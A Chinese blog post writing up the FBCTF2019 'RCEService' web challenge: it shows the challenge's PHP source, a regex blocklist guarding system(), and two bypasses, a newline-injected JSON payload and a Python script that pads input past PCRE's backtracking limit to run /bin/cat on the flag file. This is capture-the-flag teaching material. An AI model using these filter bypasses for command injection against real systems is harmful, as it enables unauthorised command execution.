[FBCTF2019]RCEService

最新推荐文章于 2022-09-30 19:45:15 发布

Sk1y

最新推荐文章于 2022-09-30 19:45:15 发布

阅读量2.5k

点赞数 2

分类专栏： CTF刷题记录文章标签： web CTF

本文链接：https://blog.csdn.net/RABCDXB/article/details/119306689

版权

CTF刷题记录专栏收录该内容

148 篇文章

订阅专栏

本文详细介绍了如何利用PHP的PCRE回溯次数限制绕过安全限制，以解决一道Web安全挑战。通过多行输入和构造特定payload，成功执行cat命令获取文件内容。解题过程中涉及preg_match函数限制的规避以及命令注入的技巧。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点：PHP利用PCRE回溯次数限制绕过某些安全限制，多行绕过preg_match函数

文章目录

解题过程

打开容器，题目显示需要以json的形式进行输入
在这里插入图片描述在先知上有题目源码：Facebook CTF 2019 - Web

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

审计之后，发现很多的函数都被禁止了。尝试一下json格式

{"cmd":"ls"}

在这里插入图片描述

第一种解法

因为preg_match只能匹配第一行，所以这里可以采用多行绕过。
因为putenv('PATH=/home/rceservice/jail');修改了环境变量，所以只能使用绝对路径使用cat命令，cat命令在/bin文件夹下
在这里插入图片描述

首先查看该目录下文件

?cmd={%0A"cmd":"ls /home/rceservice"%0A}

在这里插入图片描述而后cat命令读取文件内容，payload:

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

在这里插入图片描述

第二种解法

关于preg_match，有p神曾经讲的PRCE,但是这个题目复习环境是gat传参，而非post，会导致414报错，记录一下原题wp：

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)